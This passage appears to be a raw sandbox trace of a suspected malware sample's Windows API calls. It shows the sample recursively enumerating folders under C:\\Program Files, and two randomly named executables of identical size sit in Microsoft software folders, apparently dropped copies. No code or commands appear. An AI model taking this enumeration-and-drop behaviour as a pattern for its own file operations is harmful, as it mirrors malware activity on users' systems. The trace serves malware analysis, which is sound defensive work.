nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ec02b0 [0043.576] FindNextFileW (in: hFindFile=0x3ec02b0, lpFindFileData=0x351f310 | out: lpFindFileData=0x351f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x696f1810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x696f1810, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0043.576] FindNextFileW (in: hFindFile=0x3ec02b0, lpFindFileData=0x351f310 | out: lpFindFileData=0x351f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb67a1600, ftCreationTime.dwHighDateTime=0x1c65230, ftLastAccessTime.dwLowDateTime=0x696f1810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb67a1600, ftLastWriteTime.dwHighDateTime=0x1c65230, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Maple.gif", cAlternateFileName="")) returned 1 [0043.576] FindClose (in: hFindFile=0x3ec02b0 | out: hFindFile=0x3ec02b0) returned 1 [0043.576] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3fb18a0 | out: hHeap=0x4b0000) returned 1 [0043.576] FindNextFileW (in: hFindFile=0x3ec0230, lpFindFileData=0x351f58c | out: lpFindFileData=0x351f58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x696f1810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x696f1810, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Presentation Designs", cAlternateFileName="PRESEN~1")) returned 0 [0043.576] FindClose (in: hFindFile=0x3ec0230 | out: hFindFile=0x3ec0230) returned 1 [0043.576] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x39306e8 | out: hHeap=0x4b0000) returned 1 [0043.576] FindNextFileW (in: hFindFile=0x3ec01b0, lpFindFileData=0x351f808 | out: lpFindFileData=0x351f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf59f9270, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x50e7acd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e7acd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Templates", cAlternateFileName="TEMPLA~1")) returned 0 [0043.576] FindClose (in: hFindFile=0x3ec01b0 | out: hFindFile=0x3ec01b0) returned 1 [0043.576] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x39006d0 | out: hHeap=0x4b0000) returned 1 [0043.576] FindNextFileW (in: hFindFile=0x3ec0170, lpFindFileData=0x351fa84 | out: lpFindFileData=0x351fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e54b70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x818ac970, ftLastAccessTime.dwHighDateTime=0x1d52095, ftLastWriteTime.dwLowDateTime=0x818ac970, ftLastWriteTime.dwHighDateTime=0x1d52095, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft SQL Server Compact Edition", cAlternateFileName="MICROS~3")) returned 1 [0043.576] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 0x39006d0 [0043.576] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft SQL Server Compact Edition\\*", lpFindFileData=0x351f808 | out: lpFindFileData=0x351f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e54b70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x818ac970, ftLastAccessTime.dwHighDateTime=0x1d52095, ftLastWriteTime.dwLowDateTime=0x818ac970, ftLastWriteTime.dwHighDateTime=0x1d52095, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ec01b0 [0043.577] FindNextFileW (in: hFindFile=0x3ec01b0, lpFindFileData=0x351f808 | out: lpFindFileData=0x351f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e54b70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x818ac970, ftLastAccessTime.dwHighDateTime=0x1d52095, ftLastWriteTime.dwLowDateTime=0x818ac970, ftLastWriteTime.dwHighDateTime=0x1d52095, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0043.577] FindNextFileW (in: hFindFile=0x3ec01b0, lpFindFileData=0x351f808 | out: lpFindFileData=0x351f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x65e9c50, ftCreationTime.dwHighDateTime=0x1d4f231, ftLastAccessTime.dwLowDateTime=0xa7482130, ftLastAccessTime.dwHighDateTime=0x1d4bf2e, ftLastWriteTime.dwLowDateTime=0xa7482130, ftLastWriteTime.dwHighDateTime=0x1d4bf2e, nFileSizeHigh=0x0, nFileSizeLow=0x12800, dwReserved0=0x0, dwReserved1=0x0, cFileName="expenseselsewhere.exe", cAlternateFileName="EXPENS~1.EXE")) returned 1 [0043.577] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 0x39306e8 [0043.577] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft SQL Server Compact Edition\\v3.5\\*", lpFindFileData=0x351f58c | out: lpFindFileData=0x351f58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e54b70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d3a4910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d3a4910, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ec0230 [0043.577] FindNextFileW (in: hFindFile=0x3ec0230, lpFindFileData=0x351f58c | out: lpFindFileData=0x351f58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e54b70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d3a4910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d3a4910, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0043.577] FindNextFileW (in: hFindFile=0x3ec0230, lpFindFileData=0x351f58c | out: lpFindFileData=0x351f58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e54b70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50e54b70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e54b70, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desktop", cAlternateFileName="")) returned 1 [0043.577] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 0x3fb18a0 [0043.577] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft SQL Server Compact Edition\\v3.5\\Desktop\\*", lpFindFileData=0x351f310 | out: lpFindFileData=0x351f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e54b70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50e54b70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e54b70, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ec02b0 [0043.577] FindNextFileW (in: hFindFile=0x3ec02b0, lpFindFileData=0x351f310 | out: lpFindFileData=0x351f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e54b70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50e54b70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e54b70, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0043.577] FindNextFileW (in: hFindFile=0x3ec02b0, lpFindFileData=0x351f310 | out: lpFindFileData=0x351f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e54b70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50e54b70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e54b70, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0043.577] FindClose (in: hFindFile=0x3ec02b0 | out: hFindFile=0x3ec02b0) returned 1 [0043.577] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3fb18a0 | out: hHeap=0x4b0000) returned 1 [0043.577] FindNextFileW (in: hFindFile=0x3ec0230, lpFindFileData=0x351f58c | out: lpFindFileData=0x351f58c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd805600, ftCreationTime.dwHighDateTime=0x1c8d68c, ftLastAccessTime.dwLowDateTime=0x5ab6f770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdd805600, ftLastWriteTime.dwHighDateTime=0x1c8d68c, nFileSizeHigh=0x0, nFileSizeLow=0x8b840, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqlceca35.dll", cAlternateFileName="SQLCEC~1.DLL")) returned 1 [0043.578] FindClose (in: hFindFile=0x3ec0230 | out: hFindFile=0x3ec0230) returned 1 [0043.578] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x39306e8 | out: hHeap=0x4b0000) returned 1 [0043.578] FindNextFileW (in: hFindFile=0x3ec01b0, lpFindFileData=0x351f808 | out: lpFindFileData=0x351f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e54b70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d3a4910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d3a4910, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="v3.5", cAlternateFileName="")) returned 0 [0043.578] FindClose (in: hFindFile=0x3ec01b0 | out: hFindFile=0x3ec01b0) returned 1 [0043.578] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x39006d0 | out: hHeap=0x4b0000) returned 1 [0043.578] FindNextFileW (in: hFindFile=0x3ec0170, lpFindFileData=0x351fa84 | out: lpFindFileData=0x351fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x818d2ad0, ftLastAccessTime.dwHighDateTime=0x1d52095, ftLastWriteTime.dwLowDateTime=0x818d2ad0, ftLastWriteTime.dwHighDateTime=0x1d52095, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Sync Framework", cAlternateFileName="MICROS~4")) returned 1 [0043.578] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 0x39006d0 [0043.578] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Sync Framework\\*", lpFindFileData=0x351f808 | out: lpFindFileData=0x351f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x818d2ad0, ftLastAccessTime.dwHighDateTime=0x1d52095, ftLastWriteTime.dwLowDateTime=0x818d2ad0, ftLastWriteTime.dwHighDateTime=0x1d52095, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ec01b0 [0043.578] FindNextFileW (in: hFindFile=0x3ec01b0, lpFindFileData=0x351f808 | out: lpFindFileData=0x351f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x818d2ad0, ftLastAccessTime.dwHighDateTime=0x1d52095, ftLastWriteTime.dwLowDateTime=0x818d2ad0, ftLastWriteTime.dwHighDateTime=0x1d52095, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0043.578] FindNextFileW (in: hFindFile=0x3ec01b0, lpFindFileData=0x351f808 | out: lpFindFileData=0x351f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x561a7390, ftCreationTime.dwHighDateTime=0x1d503ac, ftLastAccessTime.dwLowDateTime=0xe9f0df70, ftLastAccessTime.dwHighDateTime=0x1d4c13d, ftLastWriteTime.dwLowDateTime=0xe9f0df70, ftLastWriteTime.dwHighDateTime=0x1d4c13d, nFileSizeHigh=0x0, nFileSizeLow=0x12800, dwReserved0=0x0, dwReserved1=0x0, cFileName="photographymiscellaneousmeters.exe", cAlternateFileName="PHOTOG~1.EXE")) returned 1 [0043.578] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 0x39306e8 [0043.578] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\*", lpFindFileData=0x351f58c | out: lpFindFileData=0x351f58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6626d2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6626d2b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ec0230 [0043.750] FindNextFileW (in: hFindFile=0x3ec0230, lpFindFileData=0x351f58c | out: lpFindFileData=0x351f58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6626d2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6626d2b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0043.750] FindNextFileW (in: hFindFile=0x3ec0230, lpFindFileData=0x351f58c | out: lpFindFileData=0x351f58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6626d2b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6626d2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6626d2b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Documentation", cAlternateFileName="DOCUME~1")) returned 1 [0043.750] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 0x3fb18a0 [0043.750] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Documentation\\*", lpFindFileData=0x351f310 | out: lpFindFileData=0x351f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6626d2b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6626d2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6626d2b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ec02b0 [0043.750] FindNextFileW (in: hFindFile=0x3ec02b0, lpFindFileData=0x351f310 | out: lpFindFileData=0x351f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6626d2b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6626d2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6626d2b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0043.750] FindNextFileW (in: hFindFile=0x3ec02b0, lpFindFileData=0x351f310 | out: lpFindFileData=0x351f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6626d2b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6626d2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6626d2b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0043.750] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 0x3f41088 [0043.751] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Documentation\\1033\\*", lpFindFileData=0x351f094 | out: lpFindFileData=0x351f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6626d2b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6626d2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6626d2b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ec00f0 [0043.752] FindNextFileW (in: hFindFile=0x3ec00f0, lpFindFileData=0x351f094 | out: lpFindFileData=0x351f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6626d2b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6626d2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6626d2b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0043.752] FindNextFileW (in: hFindFile=0x3ec00f0, lpFindFileData=0x351f094 | out: lpFindFileData=0x351f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6626d2b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6626d2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6626d2b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="License Agreements", cAlternateFileName="LICENS~1")) returned 1 [0043.752] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 0x3fc38a8 [0043.752] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Documentation\\1033\\License Agreements\\*", lpFindFileData=0x351ee18 | out: lpFindFileData=0x351ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6626d2b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6626d2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6626d2b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ec0470 [0043.752] FindNextFileW (in: hFindFile=0x3ec0470, lpFindFileData=0x351ee18 | out: lpFindFileData=0x351ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6626d2b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6626d2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6626d2b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0043.752] FindNextFileW (in: hFindFile=0x3ec0470, lpFindFileData=0x351ee18 | out: lpFindFileData=0x351ee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb2b9400, ftCreationTime.dwHighDateTime=0x1c9c55a, ftLastAccessTime.dwLowDateTime=0x6626d2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xeb2b9400, ftLastWriteTime.dwHighDateTime=0x1c9c55a, nFileSizeHigh=0x0, nFileSizeLow=0x1afd7, dwReserved0=0x0, dwReserved1=0x0, cFileName="SynchronizationEula.rtf", cAlternateFileName="SYNCHR~1.RTF")) returned 1 [0043.752] FindClose (in: hFindFile=0x3ec0470 | out: hFindFile=0x3ec0470) returned 1 [0043.752] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3fc38a8 | out: hHeap=0x4b0000) returned 1 [0043.752] FindNextFileW (in: hFindFile=0x3ec00f0, lpFindFileData=0x351f094 | out: lpFindFileData=0x351f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6626d2b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6626d2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6626d2b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="License Agreements", cAlternateFileName="LICENS~1")) returned 0 [0043.753] FindClose (in: hFindFile=0x3ec00f0 | out: hFindFile=0x3ec00f0) returned 1 [0043.753] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3f41088 | out: hHeap=0x4b0000) returned 1 [0043.753] FindNextFileW (in: hFindFile=0x3ec02b0, lpFindFileData=0x351f310 | out: lpFindFileData=0x351f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6626d2b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6626d2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6626d2b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 0 [0043.753] FindClose (in: hFindFile=0x3ec02b0 | out: hFindFile=0x3ec02b0) returned 1 [0043.753] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3fb18a0 | out: hHeap=0x4b0000) returned 1 [0043.755] FindNextFileW (in: hFindFile=0x3ec0230, lpFindFileData=0x351f58c | out: lpFindFileData=0x351f58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50e7acd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e7acd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Runtime", cAlternateFileName="")) returned 1 [0043.755] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 0x3fb18a0 [0043.755] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Runtime\\*", lpFindFileData=0x351f310 | out: lpFindFileData=0x351f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50e7acd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e7acd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ec02b0 [0043.755] FindNextFileW (in: hFindFile=0x3ec02b0, lpFindFileData=0x351f310 | out: lpFindFileData=0x351f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50e7acd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e7acd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0043.755] FindNextFileW (in: hFindFile=0x3ec02b0, lpFindFileData=0x351f310 | out: lpFindFileData=0x351f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x60c6f7f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x60c6f7f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="x64", cAlternateFileName="")) returned 1 [0043.755] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 0x3f41088 [0043.756] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Runtime\\x64\\*", lpFindFileData=0x351f094 | out: lpFindFileData=0x351f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x60c6f7f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x60c6f7f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ec00f0 [0043.758] FindNextFileW (in: hFindFile=0x3ec00f0, lpFindFileData=0x351f094 | out: lpFindFileData=0x351f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x60c6f7f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x60c6f7f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0043.758] FindNextFileW (in: hFindFile=0x3ec00f0, lpFindFileData=0x351f094 | out: lpFindFileData=0x351f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x67cf6a00, ftCreationTime.dwHighDateTime=0x1c9c57d, ftLastAccessTime.dwLowDateTime=0x60c6f7f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x67cf6a00, ftLastWriteTime.dwHighDateTime=0x1c9c57d, nFileSizeHigh=0x0, nFileSizeLow=0x38770, dwReserved0=0x0, dwReserved1=0x0, cFileName="FeedSync.dll", cAlternateFileName="")) returned 1 [0043.758] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 0x3fc38a8 [0043.759] FindFirstFileW (in: 